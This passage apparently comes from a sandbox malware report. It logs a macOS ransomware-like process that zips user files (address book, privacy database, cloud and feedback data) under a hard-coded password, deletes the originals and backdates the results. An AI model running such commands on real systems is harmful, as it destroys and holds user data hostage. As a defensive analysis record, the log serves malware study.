PID:973

/bin/rm
rm "/Users//run/Library/Application Support/icdd/deviceInfoCache.plist"
2⤵
PID:973

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/icdd/deviceInfoCache.plist.crypt"
2⤵
PID:974

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.TCC.crypt" "/Users//run/Library/Application Support/com.apple.TCC"
2⤵
PID:975

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.TCC"
2⤵
PID:976

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.TCC"
2⤵
PID:976

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.TCC/TCC.db.crypt" "/Users//run/Library/Application Support/com.apple.TCC/TCC.db"
2⤵
PID:977

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.TCC/TCC.db"
2⤵
PID:978

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.TCC/TCC.db"
2⤵
PID:978

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.TCC/TCC.db.crypt"
2⤵
PID:979

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.TCC/AdhocSignatureCache.crypt" "/Users//run/Library/Application Support/com.apple.TCC/AdhocSignatureCache"
2⤵
PID:980

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.TCC/AdhocSignatureCache"
2⤵
PID:981

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.TCC/AdhocSignatureCache"
2⤵
PID:981

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.ContextStoreAgent.crypt" "/Users//run/Library/Application Support/com.apple.ContextStoreAgent"
2⤵
PID:982

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.ContextStoreAgent"
2⤵
PID:983

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.ContextStoreAgent"
2⤵
PID:983

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.ContextStoreAgent/screenTimeEnabled.crypt" "/Users//run/Library/Application Support/com.apple.ContextStoreAgent/screenTimeEnabled"
2⤵
PID:984

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.ContextStoreAgent/screenTimeEnabled"
2⤵
PID:985

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.ContextStoreAgent/screenTimeEnabled"
2⤵
PID:985

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.ContextStoreAgent/screenTimeEnabled.crypt"
2⤵
PID:986

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/FileProvider.crypt" "/Users//run/Library/Application Support/FileProvider"
2⤵
PID:987

/usr/bin/rm
rm "/Users//run/Library/Application Support/FileProvider"
2⤵
PID:988

/bin/rm
rm "/Users//run/Library/Application Support/FileProvider"
2⤵
PID:988

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/FileProvider/LegacyEnabledStateHasBeenMigrated.crypt" "/Users//run/Library/Application Support/FileProvider/LegacyEnabledStateHasBeenMigrated"
2⤵
PID:989

/usr/bin/rm
rm "/Users//run/Library/Application Support/FileProvider/LegacyEnabledStateHasBeenMigrated"
2⤵
PID:990

/bin/rm
rm "/Users//run/Library/Application Support/FileProvider/LegacyEnabledStateHasBeenMigrated"
2⤵
PID:990

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/FileProvider/LegacyEnabledStateHasBeenMigrated.crypt"
2⤵
PID:991

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider.crypt" "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider"
2⤵
PID:992

/usr/bin/rm
rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider"
2⤵
PID:993

/bin/rm
rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider"
2⤵
PID:993

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/NSFileProviderDomainDefaultIdentifier.crypt" "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/NSFileProviderDomainDefaultIdentifier"
2⤵
PID:994

/usr/bin/rm
rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/NSFileProviderDomainDefaultIdentifier"
2⤵
PID:995

/bin/rm
rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/NSFileProviderDomainDefaultIdentifier"
2⤵
PID:995

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/NSFileProviderDomainDefaultIdentifier/needs-auth.crypt" "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/NSFileProviderDomainDefaultIdentifier/needs-auth"
2⤵
PID:996

/usr/bin/rm
rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/NSFileProviderDomainDefaultIdentifier/needs-auth"
2⤵
PID:997

/bin/rm
rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/NSFileProviderDomainDefaultIdentifier/needs-auth"
2⤵
PID:997

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/NSFileProviderDomainDefaultIdentifier/needs-auth.crypt"
2⤵
PID:998

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Domains.plist.crypt" "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Domains.plist"
2⤵
PID:999

/usr/bin/rm
rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Domains.plist"
2⤵
PID:1000

/bin/rm
rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Domains.plist"
2⤵
PID:1000

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Domains.plist.crypt"
2⤵
PID:1001

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Provider.plist.crypt" "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Provider.plist"
2⤵
PID:1002

/usr/bin/rm
rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Provider.plist"
2⤵
PID:1003

/bin/rm
rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Provider.plist"
2⤵
PID:1003

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Provider.plist.crypt"
2⤵
PID:1004

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook.crypt" "/Users//run/Library/Application Support/AddressBook"
2⤵
PID:1005

/usr/bin/rm
rm "/Users//run/Library/Application Support/AddressBook"
2⤵
PID:1006

/bin/rm
rm "/Users//run/Library/Application Support/AddressBook"
2⤵
PID:1006

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb.crypt" "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb"
2⤵
PID:1007

/usr/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb"
2⤵
PID:1008

/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb"
2⤵
PID:1008

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb.crypt"
2⤵
PID:1009

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb.crypt" "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb"
2⤵
PID:1010

/usr/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb"
2⤵
PID:1011

/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb"
2⤵
PID:1011

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb.crypt"
2⤵
PID:1012

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-shm.crypt" "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-shm"
2⤵
PID:1013

/usr/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-shm"
2⤵
PID:1014

/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-shm"
2⤵
PID:1014

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-shm.crypt"
2⤵
PID:1015

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-shm.crypt" "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-shm"
2⤵
PID:1016

/usr/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-shm"
2⤵
PID:1017

/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-shm"
2⤵
PID:1017

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-shm.crypt"
2⤵
PID:1018

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-wal.crypt" "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-wal"
2⤵
PID:1019

/usr/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-wal"
2⤵
PID:1020

/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-wal"
2⤵
PID:1020

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-wal.crypt"
2⤵
PID:1021

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-wal.crypt" "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-wal"
2⤵
PID:1022

/usr/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-wal"
2⤵
PID:1023

/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-wal"
2⤵
PID:1023

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-wal.crypt"
2⤵
PID:1024

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/.AddressBook-v22_SUPPORT.crypt" "/Users//run/Library/Application Support/AddressBook/.AddressBook-v22_SUPPORT"
2⤵
PID:1025

/usr/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/.AddressBook-v22_SUPPORT"
2⤵
PID:1026

/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/.AddressBook-v22_SUPPORT"
2⤵
PID:1026

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/.AddressBook-v22_SUPPORT/_EXTERNAL_DATA.crypt" "/Users//run/Library/Application Support/AddressBook/.AddressBook-v22_SUPPORT/_EXTERNAL_DATA"
2⤵
PID:1027

/usr/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/.AddressBook-v22_SUPPORT/_EXTERNAL_DATA"
2⤵
PID:1028

/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/.AddressBook-v22_SUPPORT/_EXTERNAL_DATA"
2⤵
PID:1028

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/Metadata.crypt" "/Users//run/Library/Application Support/AddressBook/Metadata"
2⤵
PID:1029

/usr/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/Metadata"
2⤵
PID:1030

/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/Metadata"
2⤵
PID:1030

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/Metadata/DB5F0C90-2A02-48E4-99DF-5C0022F537C9:ABPerson.abcdp.crypt" "/Users//run/Library/Application Support/AddressBook/Metadata/DB5F0C90-2A02-48E4-99DF-5C0022F537C9:ABPerson.abcdp"
2⤵
PID:1031

/usr/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/Metadata/DB5F0C90-2A02-48E4-99DF-5C0022F537C9:ABPerson.abcdp"
2⤵
PID:1032

/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/Metadata/DB5F0C90-2A02-48E4-99DF-5C0022F537C9:ABPerson.abcdp"
2⤵
PID:1032

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/Metadata/DB5F0C90-2A02-48E4-99DF-5C0022F537C9:ABPerson.abcdp.crypt"
2⤵
PID:1033

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/Metadata/97D3487E-86A1-49A5-BC1D-9B4DB5FBD61A:ABPerson.abcdp.crypt" "/Users//run/Library/Application Support/AddressBook/Metadata/97D3487E-86A1-49A5-BC1D-9B4DB5FBD61A:ABPerson.abcdp"
2⤵
PID:1034

/usr/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/Metadata/97D3487E-86A1-49A5-BC1D-9B4DB5FBD61A:ABPerson.abcdp"
2⤵
PID:1035

/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/Metadata/97D3487E-86A1-49A5-BC1D-9B4DB5FBD61A:ABPerson.abcdp"
2⤵
PID:1035

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/Metadata/97D3487E-86A1-49A5-BC1D-9B4DB5FBD61A:ABPerson.abcdp.crypt"
2⤵
PID:1036

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/Metadata/BDEA6128-81FE-47E9-B1EA-FCF5B341205A:ABInfo.abcdi.crypt" "/Users//run/Library/Application Support/AddressBook/Metadata/BDEA6128-81FE-47E9-B1EA-FCF5B341205A:ABInfo.abcdi"
2⤵
PID:1037

/usr/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/Metadata/BDEA6128-81FE-47E9-B1EA-FCF5B341205A:ABInfo.abcdi"
2⤵
PID:1038

/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/Metadata/BDEA6128-81FE-47E9-B1EA-FCF5B341205A:ABInfo.abcdi"
2⤵
PID:1038

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/Metadata/BDEA6128-81FE-47E9-B1EA-FCF5B341205A:ABInfo.abcdi.crypt"
2⤵
PID:1039

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/Metadata/.info.crypt" "/Users//run/Library/Application Support/AddressBook/Metadata/.info"
2⤵
PID:1040

/usr/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/Metadata/.info"
2⤵
PID:1041

/bin/rm
rm "/Users//run/Library/Application Support/AddressBook/Metadata/.info"
2⤵
PID:1041

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/Metadata/.info.crypt"
2⤵
PID:1042

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant.crypt" "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant"
2⤵
PID:1043

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant"
2⤵
PID:1044

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant"
2⤵
PID:1044

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite-wal.crypt" "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite-wal"
2⤵
PID:1045

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite-wal"
2⤵
PID:1046

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite-wal"
2⤵
PID:1046

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite-wal.crypt"
2⤵
PID:1047

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite.crypt" "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite"
2⤵
PID:1048

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite"
2⤵
PID:1049

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite"
2⤵
PID:1049

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite.crypt"
2⤵
PID:1050

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite-shm.crypt" "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite-shm"
2⤵
PID:1051

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite-shm"
2⤵
PID:1052

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite-shm"
2⤵
PID:1052

/usr/bin/touch

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes